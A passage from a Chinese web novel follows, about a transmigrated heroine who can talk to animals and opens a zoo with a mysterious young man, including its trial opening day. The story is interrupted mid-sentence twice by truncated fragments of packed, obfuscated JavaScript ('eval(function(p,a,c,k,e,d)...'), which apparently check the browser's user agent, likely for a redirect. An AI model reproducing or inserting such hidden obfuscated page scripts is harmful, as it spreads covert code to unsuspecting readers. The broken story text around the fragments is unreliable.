黑猫舔了舔毛,原地跃起五尺高,紧接着把三个愚蠢人类的头顶当成踏板依次踩过,翅膀振动的声音由远及近,鸟群及时赶到,纷纷俯冲向同一目标。 “啊啊啊啊!” “啊啊啊什么玩意儿!” 三名恶霸体型壮硕,可地盘却并不稳当,捂着脑袋龇牙咧嘴,没撑一会儿就纷纷滚进猪圈。 黄鸟立在苏卿卿头上小声传了几句话。信息量不算复杂,只是将这三人的信息挖了个底朝天。 “好了,先等一下。” 话音刚落,纷乱的进攻型鸟群纷纷散去,立在旁边的树杈上将树压弯,从远处看像一片片锋利的羽毛。 围观群众看得目瞪口呆。片刻的安静过后,爆发欢呼声,听来那些人也不是第一次来欺压村民,这次终于出了口恶气。 三名恶霸身上全是脏污,抬头瞧见树杈上的几十双眼睛顿时浑身冒冷汗,以为这是遇上了魔女,跪地连连认错请求原谅。 凡事都得有个PlanB。 苏卿卿顺着继续演戏,缓缓向前抬起右臂,小黄鸟乖巧落在手背上,活像是变戏法。 “赵南,钱洪,孙广胜,虽不知你们是从哪里来的,但这两天一直歇在村子尽头的茅屋里,昨日还偷了几只鸡炖了汤喝。” 恶霸闻此言眼珠子都快瞪出来,脸颊肥肉抽动,没想到连名字都被算准,只好认输。 三人彼此搀扶,颤颤巍巍直起身向周围的村民道歉,并保证不会再犯。 苏卿卿满意地点了点头。 呵。这种等级的小boss,一顿十个不够塞牙缝的。 - 夜幕落下,月光清冷皎洁,伴着点点星光若隐若现。 苏卿卿满身疲惫回到园中。 “我回来……了。” 抬起沉重的眼皮,院中花灯仿佛比往常更亮了些,顾子珘站在桌前,昂首挺胸,仪态端庄,一身书卷气。 不过这双手向后撑在桌面上的姿势,很明显是在遮挡什么! 旁边的老虎和孔雀左看右看,就差爪子里端着盆爆米花了。 “藏什么好东西呢?” 顾子珘面色沉静:“没什么。” “小气鬼。” “……” 苏卿卿忽然靠近两步,气场压迫。 顾子珘眨巴眨巴眼,撇过头败下阵来:“不小气,你直接来看便是。” 说完侧身而站,让出空挡。 桌面画布上一笔一线勾勒出的正是她的模样,美目流盼,柔和暖黄光的衬托下更显得可人。 黑猫啧啧称叹,嫌弃道:“苏卿卿,你看你干的好事,被人惦记上了吧。” 老虎:“苏卿卿被人惦记上了?” 花蛇:“有人喜欢上苏卿卿了。” 黄狗:“有人想和苏老大即刻成亲!” 孔雀:“那我问一下,动物园还能不能开了?” 苏卿卿:…… 11. 她好可爱 - 春天将至,院子里飘着一股子草木清香。 顾子珘手里端着两个淡绿色花纹小碗从厨房出来,抬头看到苏卿卿坐在石凳上埋头边碎碎念边记录,对已然上桌的碟子视若无睹,样子倒与说书人嘴里的“走火入魔”有几分相像。 他不由得一摇头。 这个人专注起来总是忘记饭点,最严重的一天都能把自己饿得眼冒金星,于无形之中逼迫他学了些厨艺皮毛,将将弄些不需要过多调味料的汤汤水水。 “狗、猫、鸟、蛇、虎、孔雀、水禽……还有新来的伙伴,马、猴子、羊……”苏卿卿抿着小嘴,自顾自一点头,提笔蘸墨划了两道,“嗯,暂时就是这些。” “先吃。盘到哪里了,我帮你继续。” 身穿一袭墨绿色长袍的美厨男路过时停顿脚步,身子稍向前倾凑近看了看,很快便捋清楚这满满的字符联系,随后转到对面的位置上入座,伸出右手做了个“请”的姿势,还好当下无人留心观察,不然定会意识到此人举手投足间露出的不容拒绝的气场。 苏卿卿眉头皱了又舒,揉揉翻动的胃口,放下纸笔端起碗喝了一大口,身子暖和起来,思路可还定在刚刚没来得及拐弯。 “动物们还有待扩充,不过嘛,好在咱们有百兽之王和百鸟之王,已经召唤来不少新伙伴啦。” “嗯,来,再吃点菜。” “但这样下去……哦,这个菜炒得不错。这样下去不够吸引,得想想其他的办法。” “嗯,来,再吃个蛋。” “我划出几块分区……别夹了,我吃不下。那几块分区大小各不相同,适合搭建游人品茶赏花围棋喝酒乃至其他大型游戏的场地,再加上周围动物的助阵,你觉得怎么样?” 园中除了这处独院,剩余的山丘、土地、草坪都已用自然植树的方式进行分割,树上挂起彩带装饰,树下再辟出几道石子小路供人穿梭,不同区域之间拐角过渡处修缮长方形状花圃作为点缀。 除此之外还有条长长的河流几乎在外围画了一个圈,潺潺流过两侧高树,撞击奇形怪石,溅起的水花于空中亮晶晶的尽显飘逸,落下后穿过前日顺利完工的桥梁,最终汇入碧绿湖泊,那也是进入动物园大门之后第一眼便能看到的景物。 “装修进行得如何?”顾子珘声音又平又稳,见眼前的人已经吃饱便也放下筷子,端起茶水吹吹,抿了一小口。 “已经完成了八成,这园子当真是天选,师傅们勘测后发觉很多自然高低区域完全不需要多加设计,也不需要如独院这般费力翻修,收拾齐整便能直接使用。” “嗯。” …… 等等,这人的语气…… 当自己是老板了啊! 说来奇怪,自从上次这人自然而然地加入传单绘制的工作,后面便心安理得居住于此,就像是跳过了面试直接获得永久工位。 两人之间没有专门彼此了解,所有过渡环节尽数省略。眼下不过几日,这人就一副已经居住在此很久的模样。 不过单凭“不会做饭,也会努力去做”这点来看。 孺子可教。 苏卿卿意识不到自己满脑子都是待办事项,根本没尝出来这汤明显忘了放盐巴。 她歪头看去,视线黏在字里行间,心不在焉地叹口气,随之双手向前头朝下趴在桌面上,声音闷闷道:“想来还需画个地图,不然有人迷失方向就不好了。” 自然而然认为这项工作会落在自己头上的顾子珘转过头来,看到一条人,软敷敷晒在阳光下,只有呼吸带动下的缓慢起伏。 他的眼光顿时变得柔和,唇角微扬,露出无意识的浅笑。 她好可爱。 “什么?”黄狗没听清,歪头问孔雀。 孔雀昂着头,蓝绿色羽冠抖了抖:“很明显呐,那个人类刚刚定是在想这四个字。” 在人们的心中,孔雀通常带有吉祥和幸福的寓意,所以它见识过很多男子女子相亲相爱的开端,看多了自然能分析一二。 “我同意。” “我也同意,依我看,那顾子珘八成陷进去了。” “不用担心,”黑猫扭着身子靠近这边,肉肉的爪子落在地上安静无声,它抽了个空位卧到老虎跟前,慢悠悠道,“苏卿卿一成都没悟到。” 话音刚落,引起一阵笑声。 “那我们得帮帮不开窍的老大啊。” “如何帮?苏卿卿可是连高家小子都看不上。” “说起来,好久没见到高家那个人类了。” 黑猫闻此言耳朵竖起,想起自己听到过来自城中伙伴的传话:“近日高家生意做到了京城,忙得很。” “怪不得。” “那不靠谱,苏老大还是更配姓顾的。” 花蛇盘成一个圈,善意提醒:“你忘了吗,咱们这园子可是高栖野的,每每交租,一来二去……” “……那我更支持高家人类!” 正当动物们嬉笑闲聊时,顾子珘起身离座,单手置于身前,另一只手背于身后,悠闲自在地走过来然后呆呆地站住不动。 “……” “他盯着我们做甚?” “难不成对我刚刚的话有意见?” “废话,不盯着难道还跟咱们说话啊,不是所有人都跟苏卿卿似的。” “猫兄,他盯得我后脊皮发凉……” “咳……怕什么,瞪……瞪回去。” 一群家伙绑在一块不超过五岁,大眼瞪小眼的幼稚游戏愣是玩了好一会儿。 微风徐徐吹来,云彩散去阳光变得更加明显,树影落到地上被抻长好几倍,梢头摇摇晃晃顺着台阶爬上隔扇门。 不一会儿,门开了。 黑猫耳朵一动朝前望去,看到苏卿卿换了身更为利索的素色衣裳,干净笔直适合活动,她恰好边低头整理边迈出门槛。 这时候,黑猫发觉眼前有一道影子靠近,将自己完全笼罩,下一秒腾空被人直接抱起。 “喵!”本猫可不是谁都能抱的! 黑猫扑腾两只肉肉的前爪欲要钻出桎梏,没成想反而被抱得更稳当了,扬起脑袋呲着牙以示不满。 “你怎么还站在外面?”苏卿卿靠近,顺手将黑猫接了过来,从头呼噜到尾,最后还蹭了蹭粉嫩小肉垫。 黑猫刚要臭着脸以加密语言吐槽,没想到还未开口便被截了胡。 “你去哪?”顾子珘所答非所问,清澈无辜的眼神完全不像是提前在此等候的人。 苏卿卿毫不在意,举起手里的纸笔挥动两下:“去规划个地图草稿。” “……”不需要我来画吗? “嗯?” “我随你一起。” 顾子珘从除夕一直到今日,都没有出过独院,经此绝对静养后,外伤内伤已经全部大好。 “行啊,反正也需要你根据草稿精修一版,”苏卿卿没心没肺一笑,松手任黑猫溜走,“你不嫌累的话便跟着一起,我可就轻松不少。” 再一次走遍动物园,苏卿卿身旁多了个相貌顶好的俊朗男子,匠人们纷纷忙着手里的活儿也不去过多窥探,只在被问到相关问题时才放下手中工具回答一二。 顾子珘重听重感受,落笔勾画,从流水树丛到桥梁挂牌,面面俱到,几乎不用二次细化。 除此之外,应苏卿卿前几日的考虑,湖泊中央借助迷你岛屿的存在修建了一座小草屋,游人可乘船只前往,四周是接天莲叶无穷碧,映日荷花别样红,静谧且无人打扰的环境中煮茶喂鱼也算别有一番风味。 最重要的一点是,此处视野极好,坐在草屋内向四周望去,几乎能够看清动物园所有地方。 此刻苏卿卿便带着顾子珘体验了一把。 苏卿卿睁一只眼闭一只眼,抬起毛笔充当望远镜左看看右看看,早前已经提过,目前阶段仅仅是动物对人们的吸引力并不能维持很久,还需要设定一些日常性质的活动,具体哪些场地能够支持娱乐活动已经有数,现需要更为细致的规划。 她随想随写,歪歪扭扭的字体配上画不顺溜的线条,差不多完成一张就头也不回向后交接,顾子珘沉默接过后再整合至刚刚的地图上。 两人就这样像工厂流水线一般维持了好久。 日落西山。 苏卿卿扭动脖子,放下笔,看样子是已经到了极限,这活儿就好像写剧本杀的故事需要编剧把脑子挖空写出不同视角的分线一样,她眼下也需考虑其他不同功能店铺的经营模式以及地理位置的适配性。 譬如猴山旁不适宜安置静心茶肆,马道旁可组织大型动物,如此一来骑马的客人不用下马也能欣赏。 “怎么样,你可能会看不……” 话没说完,苏卿卿刚转过身,就看到一个盘腿坐在软垫上老神在在的顾子珘。 视线向下能看到矮桌上绘制清晰的地图纸。 啊,他看懂了。 苏卿卿把后半句话咽回肚里,坐下细细看来,除了【卿卿独院】用朱红色标出,其余都是青色墨水一视同仁并无区分,整体看来好似严谨的蛛网。 由左至右——鸟类雨林,树木之上画了三支羽毛作为标注,其中一支还是孔雀羽毛。中间是展示、互动、表演区域,最右侧的自驾路线中央画了马车,马车里的小人正在向外探头,活灵活现。 右上空白处用正方形单独划出,里面甚至还把苏卿卿临时起意写在纸张小角落的内容进行了归纳总结,可以看出虽然对顾子珘来讲是一些看不懂的词汇,但他还是认真进行了保留。 【商品选择,进货渠道,商品陈列……】 顾子珘:这些究竟是何意? - 傍晚已至,远处云雾缭绕,近处独院中的花灯亮起,光影随风而动。 “哈,又是吃了饱饭的一天呐!”苏卿卿半躺在长廊阶梯上,单手揉了揉肚子,丝毫不讲究仪态端庄。 虽说动物园的经营还有上百件小事需要细细琢磨,但吃了美食之后吹吹清爽的晚风,貌似什么愁事都没有了,这种氛围下,不小酌几杯都有点过分。 她刚想转身询问。 顾子珘:“饮酒伤身。” “……”这人怕不是也绑定了什么系统。 苏卿卿一笑,没再坚持,心想明日就是试开园第一日,今天还是不要冒险了,一园之长宿醉可不太像话。 她起身挥手,将动物们全都召集过来。 “有个游戏,人们称之为真心话大冒险!” 动物们听后齐齐转身离去… “诶诶诶!陪我玩嘛!”苏卿卿急需有人陪她,不然一个人呆着定会胡思乱想,满脑子焦虑,回头钻到一个牛角尖里怎么都拽不出来。 “如何玩?”顾子珘问道,他眼神清澈,一看就是从小到大什么都没玩过的模样。 “简单,有真心话和大冒险两种选择。” “我选真心话。” “?”好小子,这么不按常理出牌,一般人不都先选大冒险吗? 苏卿卿心中窃喜,这不正是个大好机会,故没有解释,转而道:“好!我问你,那日追你的人是谁?” “不认识。” “不认识?那他们为何追你?” “这算第二个问题。” “……”脑子转得还挺灵光。 “这次换我来问。”顾子珘安之若素道。 看来这人是完全不明白游戏的玩法,不过这样干玩明显更有效率,苏卿卿也就纵着了。 “你问。” “为何留我?” 平常人遇到这种情况肯定不会放心,更别提煎药救助,甚至允许他在自家修养这么长一段时间,建园方面也毫不避讳,有些足以保密的事务就正正当当呈现在自己眼前。 苏卿卿没打算拐弯抹角,平静地道:“因为你仪表堂堂,风流倜傥,让人见了眼前一亮,我想将你留下来充门面,你有什么需求,我都可以尽量满足。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“我……” “等一下再说。”顾子珘将人抱至床上,然后奔至厨房煮药。 苏卿卿的嘴,生病了都不忘开玩笑,在眼前的人喂自己喝药的时候,突然笑起来道。 “你看,之前我给你煎药,现在你又还回来了。” 顾子珘见招拆招:“嗯,还有一些,以后慢慢还。” “慢慢还……当门面……打工,我不克扣工资……” 苏卿卿嘟囔了几句连自己都听不清的话,视线朦朦胧胧间,眼前的环境变成了公司,变成熟悉的办公区,熟悉的工位,熟悉的电脑。 桌面上依旧罗了两堆很高的文件资料,便利贴到处都是,有几张已经失去粘性脱落至充电器上,没喝完的咖啡已经凉透,一半的早点还挂在抽屉把手上。 “小苏啊,发烧了?” “有点……刚刚测了一下,三十……” “那赶快把需求文档提交给战略那边,早点做完,你也可以早点回去休息。” “……好的。” 还能怎么办呢,想起卡里三位数的余额,心脏顿时一抽一抽地疼。 “卿卿。” 苏卿卿满头大汗,晕乎乎地睁开眼睛,视线中央站着一个模糊人影。 她不知道自己是怎么喝下一碗药的,只知道自己全程没有花费很多力气,并且喝完之后稍显舒服了些,睁开眼盯着床边的人一笑。 “习惯了,问题不大。” 顾子珘表情阴了一下,烧成这样,还有心情笑呢。 “回去吧,你这身子不比我好多少,方才淋雨……” “你不单是因为风寒,”顾子珘打断道,随后掖了掖被角,低声道,“更像是急火攻心所致,对吗。” 苏卿卿轻出一口气,坦率地点了点头。 让他说中了。 苏卿卿深知自己的脾气秉性,大到如泰山小到如芝麻的事情都可以让她产生等量的焦虑情绪,这对自己来说是一个会让人生时时陷于水火的缺点,但改掉它花费的力气太大了,更何况忙碌于日常的人根本没有时间与自己的缺点周旋。 “的确是我心里有些着急了。” “原因是?” “动物园还不够完善,存在诸多不便利,有很多方法可以尝试但都需要精细的策划。” “卿卿,我想问你,苏氏动物园的宗旨是什么。” “宗旨?” “嗯,据我所知市集中很多店铺都有经营宗旨,有的商贩会直接吆喝出来,相反,有的也会让顾客在日复一日的光顾中感知到。” 苏卿卿眨巴眨巴眼睛,觉得眼前的人此时更像是一位心理咨询师,短短一句话就让她满是浆糊毛线团的脑子清晰起来,她没有过多思考,自然而然开口道。 “…在与动物和平共处中获取质朴的能量,治愈生活疲惫,舒缓精神压力。” 她的发音虽然含糊不清,但顾子珘听清楚了,他语气放得很轻。 “宗旨对所有人都适用,当然,也包括园长在内。” 园长瞳孔里的亮斑闪动一下。 是啊,穿越最初还在激动于逃离都市远离朝九晚不定的生活,却没意识到打工日常对一个人的影响是渗透式的,哪怕是临时决定开个动物园打发打发时间,也从【试试,来都来了】的心理转向【这是工作,要圆满完成】。 施加压力的人完全变成自己了。 苏卿卿“嗯”了一声,眉头皱起,只觉得想通之后全身的酸痛感觉突然涌现,头脑发沉,意识与视野同时飘忽起来,随后彻底昏睡过去。 - 雨停了,昏暗的屋内陷入无法自拔的安静当中。 顾子珘再次抚上苏卿卿的额头,终于长舒一口气,缓缓起身收好座椅,在抬脚离开前轻声留下一句话。 “明日定会顺利的。” 12. 试开园 - 次日,苏卿卿醒得很早,被厚重棉被捂出一身汗,她从泰山压顶的噩梦中费力坐起,睁开眼睛灵魂不附体得愣神片刻,又将手背贴紧额头,皱紧的眉头才松开。 所幸已经退烧。 今日可是试开园,需得打出十二分精神才行,她带着早八人的意志爬起来梳洗打扮,长发扎起,又换了身平日觉得有些浮夸的衣裳,金丝绣花长裙,藏蓝色上衫,朱红色百褶罗裙,肩上绒毛惹得脸颊发痒,腰带轻系,又利索又惊艳。 “早上好,身体好些了吗?”顾子珘站在院中,说完话都抽不出空回头,只顾着昂头望向高处,从后脑勺都能瞧出这人的紧张,胳膊伸得直直的,还忙活着左右挪动脚步。 那黑猫不知哪来的力气蹿到高处,原本整齐的大树轮廓偏在这肥身子的压迫下出现“离经叛道”的一枝,黑长尾巴卷在下弯的分叉上,风一吹,忽忽悠悠摇晃不止,嘎吱的动静断断续续,让人瘆得慌。 其余动物们全都提前到自己专属区域,边享受特制设施边等待与游人互动,只是这黑猫另类,仗着自己小弟多,便在这里躲清闲。 “小黑,去茶肆帮我盯着点,那桌上的碗碟可别搞乱了。”苏卿卿走到树下,没留意身边人类见到自己时的表情,只想着观察那肥猫,果然这家伙还是眯着眼睛动也不动。 她又道,“粮都放在一起,再去晚点你可要饿一天。” 黑猫原本悠哉悠哉舔前爪上的毛,听到这话马上支棱起耳朵,瞪大溜圆的眼睛同时尾巴高高翘起,从树枝蹿到院墙上然后消失无影无踪,只剩下空树枝上下晃悠。 它虽在猫群中享有一定的地位,但那帮家伙流浪惯了,见到食物恐怕也是六亲不认,不仅要吃饱还会藏起来一部分防患于未然。 顾子珘见“警报解除”,揉了揉酸痛的胳膊,随后借姿势摊开手,着眼查看自己今日的服装,在外奔波流窜自然不可能带过多衣服累赘,除去前日穿的那身便只有这一套,想着今日不同寻常才特意换上,藏蓝色长袍搭配青色宽边锦带。 又抬头看了看前面背对着自己的人。树下阳光破碎斑驳,那原本不算亮眼的颜色蒙上星星点点光斑倒显得灿烂。 他回过神,整理衣襟迈步向前,心中所想为—— 嗯,很是相配。 苏卿卿没有读心术,只觉得自己魂不附体,拖着沉重的身躯坐在石桌后闭着眼,任凉风扑过来帮助自己醒盹。 桌面上摆着热腾腾汤饼,两小碗素馅馄饨搭配萝卜小菜,花状碟子上还叠着三五块栗糕,香鲜味美齐聚于此。 “有时候真怀疑它能听懂你说话。”顾子珘不着急吃饭,理顺衣袖后反而先开口打开话题。 刚喝了一口粥的苏卿卿险些呛着:“这话说的,为何不是我能听懂它呢?” “因为…”顾子珘伸出一只手挡在嘴旁,刻意压低声量,“你有没有听说过,人和动物说话不可怕,但如果有人觉得动物在跟自己说话,那问题可就大了。” “……” 细思极恐。 苏卿卿心有系统当底气,不怕灵异鬼故事,面色如常,叼起一块栗子糕:“早与你讲过,天赋异禀罢了。” 顾子珘收回手,十分认可地点头回应:“卿卿,这真的是你的天赋。”说完,他又垂下视线,语气里的感情晦暗不清,“如果早些时候认识你便好了。” 早些时候…… 苏卿卿心思不深,只听到这句话的字面意思。她轻声笑了下,早些你认识的便是原身了,截然不同的人,恐怕会是完全不一样的故事。 那个苏卿卿是个在艰苦生活中追求安稳的姑娘,比起自主创业这种风险较大的事情更有可能是被动生产赚取少而恒定的银两。 而现在的苏卿卿是在象征“稳定”的职场中摸爬滚打数年,给别人打工打够了,眼下追求的是自我意义与价值,想起当时同样的心愿也在酒后与同事分享过,但得到的回答都是“最好不要在工作中找意义,大家都是个人战,一个人找意义就容易脱离大流。” ——“我们帮你。” 动物们毛茸茸的脑袋凑到一处,稚嫩的话和亮晶晶的眼睛同时浮现在脑海。 现在很快乐,这不就是意义。 道理也是昨夜高烧时被打通任督二脉领悟到的。 “谢谢你,顾大师。” 顾子珘知道这话是在回应昨晚的事,微微一笑:“这算我的新称呼吗?” 善于倾听,且几句话让人化焦虑为积极,这可不是个自闭的哑巴,这分明是位心理咨询大师。 两人在晨风相伴下吃饱喝足,大口呼吸平复乱跳的心脏,准备开园。 偌大的园子相互串通起来极不方便,为此苏卿卿增设了铃铛和信鸽两个途径,绳线在建筑之初藏于暗处,不会轻易被风干扰也不会被游人误触。 比如,老虎那里出现突发状况时,可拽响铃铛或通过信鸽报信,园子对于人类来说足够宽阔,要想全部细细享受大概要花上一天时光,可对信鸽,不过是眨眼间就能抵达的距离。 “顾大师,你有两个选择。”苏卿卿伸出两根手指,依次折下,“一种,是呆在这独院不出去,这也是最安全的选择,不用担心那帮人混进来。或者,去小狗互动区,那里位置四通八达,不管是自己跑还是响铃找支援都非常便利。” 顾子珘右手托住下巴,象征性思考了一下,最终同样伸出两根手指,眼角笑意未散。 “我选小狗。” - 距离定好的时间还有些空隙,苏卿卿也不着急,毕竟仪式感很重要,开门的时间不能差一分一毫,除了聚财良辰吉日之外,更重要的是没有规矩不成方圆。 据车夫所说,这月洞门本是高家建造时的重大失误,无法设门,直通内景,后来在推翻重建的节点有风水大师路过说此门具有促进家庭繁荣,好运连绵的作用,高岱身为富商最是相信这些,于是便将工程搁置下来。 现如今,苏氏动物园依旧对此进行了保留,只不过为了园子的安全性与隐私性,在建筑大师和风水大师的齐齐努力下向内延伸一段距离,并且建造左门和右门。 左近右出,进财辟邪,在阴雨天气还能为过路人提供一个避雨场所。 两个三层半人高的竹编架子摆在左门内侧两边,与花灯并列,上面依次摆着地图和外形可爱的特制小食物,此举也是为了避免游客胡乱投喂,破坏动物们的饮食习惯。 都准备妥当后,苏卿卿悄喵喵趴在墙边,俯耳偷听外面的群众反映,她心潮澎湃,熙熙攘攘听上去人应是不少。 “没想到那姑娘不是说大话,这么快就开园了。”一人感叹道。 “是啊,据说能见到老虎呢!” “见到?传单上说的可是能摸到老虎。” “不知真假,听没听过老虎的屁股摸不得,那玩意可是吃人的猛兽,惹怒了被咬掉胳膊腿儿可咋办。” “这话说的,那你别摸人家屁股不就得了。” …… 阳光下月洞门旁写着苏氏动物园的牌子是朴实无华的极简主义,下部做平不设门槛,里面的新增墙壁上绘制出活灵活现的各个动物,行坐卧立姿势不同,并且还为之后加入的动物们留下了空余,人们抬头观赏都会心生暖意,就连猛虎与毒蛇都面目可亲了几分。 一阵风吹过,清脆的铃铛声由近及远,再由远及近响起。 苏卿卿按时打开大门,抬头先是被眼前的景象吓愣了,本以为大多数都会是熟人捧场,没成想放眼望去竟是陌生面孔居多。 “诸位大驾光临,小小动物园不胜荣幸呀!” 大家自动排起井然有序的队伍,见门开了纷纷打招呼。 “苏园长这么拼命,咱们都得来捧捧场才是,而且据说,就是连京城都还没有给老百姓开放的动物园呢。” “那咱们这算第一个!太有排面了!” “谁说不是呐,我刚听着队伍后面还有人是专门从京城过来的呢,也不知是为了动物还是为了人哟。” “我们卿卿这么漂亮,还愁找不到好人家吗?” 苏·单身主义·独院中藏颜如玉·卿卿,把这些保媒拉纤的话当做耳旁风,为了不让话题深入展开,连忙弯腰拿起一沓纸。 “大家钱币放到对面的筐里,然后到我这来领一份地图和小食,根据自己的喜好选择走哪条路线,我都在上面用不同的颜色标好了,园长推荐红色那条啊,中间有休息的亭子,注意劳逸结合,安全第一。” 游人有序进入园子。 这时候一只纯白信鸽飞过来,精准停在苏卿卿肩膀上,将一切顺利的好消息说完便又展翅飞回去了。 众人大惊,早听传言道这苏氏动物园园长能驱使各路飞禽走兽,亲眼所见比说书人嘴里的还要神奇,不禁疑心放下一大半,卸下恐惧紧张的心理,抱着与虎共舞的期待。 苏卿卿低头抬头间动作已经自然熟练,游客们也都一心想进去玩乐不会耽误时间,一放一取效率很高,没一会儿就来到了队尾。 最后一位客人穿着浅蓝色云纹长袍,站在原地不急不躁伸出手,手掌上是装得鼓鼓的藕荷色绣花钱袋。 “这也太多了,您是想溜多少圈……”苏卿卿整理好手中的地图刚抬头,表情一转,又惊喜又疑惑,“高公子?你不是去京城了吗?” 高栖野一歪头,眉心皱起:“你怎么知道,当时情况紧急,没来得及通知你。” …… 一不小心说漏嘴了。 “听你家车夫说的。”苏卿卿眼不眨心不跳。 不好意思了车夫兄弟,借你的名义顶个锅。 高栖野没多想,再次递出钱袋用下巴一点:“喏。” “高公子,你是真不差钱啊,”苏卿卿无奈摇了摇头,欲要拒绝,“这些够逛几十次了。” “哦,那日后我来,你不收钱便好。” 苏卿卿:搁这跟我玩包年预付款呐? “行,动物园修建的时候你不在,今天我给你好好介绍介绍。” 说完,苏卿卿收好钱袋,挂起【今日闭园】的木头牌子随后关上门,拍了拍手转身对上一双不解的眼神,她心领神会地解释,“高公子,人为什么一天要吃早午晚三顿饭?” “因为一直以来皆是如此,便养成习惯。” “嗯,你说得对,更直白来讲,是因为其他时间没有饭吃。” 在职场中这就叫做饥饿营销,调控市场上的供求关系,但这些说辞适合大学校园,不适合古色古香的门前竹下。 “苏园长懂得真不少。” 苏卿卿一笑,知道自己不用多费口舌了,抬手示意:“来,本园长带你看看,你租出来的荒地被改造得如何。” 眼下的感觉就像是拉着投资商勘查场地,又紧张被人发现缺点,又想尽数介绍自己的绝妙点子,生怕人错过细节。 她带着人按照最全路线走,除去小马交通道,二人先在猫猫茶肆品茶,与猫咖的经营理念大同小异,让客人在灵魂休憩的同时撸猫收获更多治愈的力量。 在这个爱猫人士居多的朝代,猫猫茶肆一举成为动物园最火爆的地方,可在此享用下午茶,还有人专门去勾搭高傲冷酷不粘人的黑猫,意料之中被一尾巴无情甩开,那人也不生气继续贴过去讨好,场面有趣极了。 向门外看,每个店铺或是景点的入口处都立着一块长方形大牌子,人们可在纸条上写出自己的感受甚至是希望园长改善的意见,将其钉在牌子上,后来的游客也可以看到前面人留下来的点评。 【橘猫真是太可爱了!】 【之前在城中茶肆时便总觉得缺点东西,现在发现多几个小团子陪伴氛围当真完全不同了。】 【因为平日忙来忙去并无时间养猫,在这里算是实现心愿。】 【唯一的问题,那只黑猫如果能搭理一下我就好了喔~】 “真是让我出乎意料,”高栖野站在留言板前仰着脑袋看,“我爹说过做生意一开始定是会经历大赔,熬过去的人转机才会来得更快。” 他转过身,与苏卿卿并肩走过拱桥,拍手称赞道:“你这可倒好,一上来就堪称完美,要是让我爹知道了肯定要闹着跟你取经。” 高栖野向来说话做事偏于 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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高栖野像一个被风吹歪的竹竿,晕头转向,还完全没有搞清楚状况。 “刚刚那是何人啊?” “怕不是得了什么重病,脸色白得吓人。” “突然从后面出来吓我一跳。” “大家稍安勿躁,今日小马交通我来请客,想要体验的人记得在闭园之前过去啊。” 人们闻此言,话题马上一百八十度转变。 “还有这好事!” “快走吧,那个路线能看到老虎和羊呢。” “我还犹豫要不要花租金走那趟道呢,这下子值了。” “说得我都想去了。” “来来来,一起呗!” 高栖野见事态平息得顺利,暗自松了口气。 还好,钱能解决大多数问题。 - 回到独院,顾子珘一路上已经被风吹得清醒不少。 苏卿卿包扎结束后将小白狗安置好,走出长廊才发觉自己手背和袖子上都蹭到了浅浅的血迹,正准备去洗洗,突然意识到什么赶紧将胳膊背过身去,但院中的人虽盯着自己看,却并没有出现如刚刚那般的不适反应。 她得出一个结论:这人不是单纯晕血。 那是因为什么呢,难道是刚刚围观的人群里有危险分子? 边思考这事边换了身衣裳,宽松柔软的布料让苏卿卿整个人都放松了下来,她直接坐到长廊的台阶上,还拍了拍身旁的空位示意。 “明日不开园。”她先道。 “这么任性赚得到钱吗?” “不断调整才会越来越好,以后便规定隔一天一开园。” 上一天班休一天,梦寐以求的生活还是要靠自己的双手来实现。 她说完自顾自欣喜了一小下,随后余光注意到顾子珘的脸色仍旧不好看,连忙轻咳几声。 都说往往平日里最会开导别人的人,心事才是最重的,今日那反应说是PTSD都不为过。 “顾大师,你觉得有永恒的事情存在吗?” 顾子珘好像并不明白这没来由的问题,随口答道:"仔细找找应该还是有的吧,怎么了?" 苏卿卿摇了摇手,故作深沉:“唯有变化和意外是永恒的。”她胳膊向后撑住身子,抬头看暗蓝色的天空,“我之前是一个非常非常悲观的人,悲观到你想象不到的地步。那时候的我认为没有必要思虑过深,因为谁都不知道转天出门会不会被车……被马车撞死。” 这话确实阴暗,顾子珘深吸一口气刚要开口反驳,就听到话题继续。 “不过昨天晚上你点拨了我,把‘没有永恒’这件听上去令人感到惋惜的事实反过来看,不就意味着痛苦和遗憾也不会是永恒的嘛。” 顾子珘一言不发,但表情柔和了许多。 微风拂过,满天半明半昧的星星闪动不止,视野内的景物由模糊逐渐变得清晰。 苏卿卿晃了晃脚,心里的算盘打得越发凌乱。 她本来打算问问这人今日那反应的原因,不过聊东聊西倒是把这念头给磨平了,罢了罢了,等到他回头主动倾诉吧。 “好了天色不早,今夜有点凉,回屋睡觉吧。”说完,她起身不拘小节地拍了拍衣服。 顾子珘偏过头望着眼前背影,没忍住开口道:“还,还有一事。” “嗯?”苏卿卿回头,揉揉带着困意的眼睛,月光之下水汪汪的。 “以后开园能不能多来几次小狗区。” 他又道:“它们想你。” 两个人一站一坐,对视间时空好似与在巷子中的初次见面高度重合。 只是…苏卿卿的神情发生微妙转变,由温柔跌进诡异。耳边滋滋啦啦电流的声音夹杂在风声中显得格格不入。 【恭喜宿主开园,位面系统特此送来庆贺礼物长颈鹿两只,请宿主前往矮山前确保其顺利生产。】——任务奖励五百点商城金币。 “系统,但凡有点眼力见,都不会选在这个时间点蹦出来吧。”苏卿卿顿时头痛欲裂,眼皮都懒得抬起来。 系统:【……】 13. 黑芝麻馅汤圆 - 苏卿卿在心里又让系统重复了一遍刚刚的话,一模一样,看来没有听岔。 “顾大师,你早些休息,我不太放心想再出去检查一下。”她声音含糊,心不在焉,满脑子都是那''接生''二字,心说这朝代也没个百度百科小红书什么的,上哪搜罗那么多注意事项去。 “我随你一起。”顾子珘站起来宛若一根树桩,淡定伸出手指向上指,示意黑灯瞎火不安全。 苏卿卿不怕黑却也想了想,家里要添成员这事瞒也瞒不住,成功拖延只是来由需得想方设法变幻说辞,但如若眼下将人带过去,还得另为提前知晓接生一事找托言。 “不必,我、我走路快,还想找找缝中的野花,比起当做杂草拨掉不如回来做些装饰。” 总之找一些很费时间的事情当做借口就对了,虽然逻辑漏洞诸多… “我跟得上。”顾子珘轻声道。 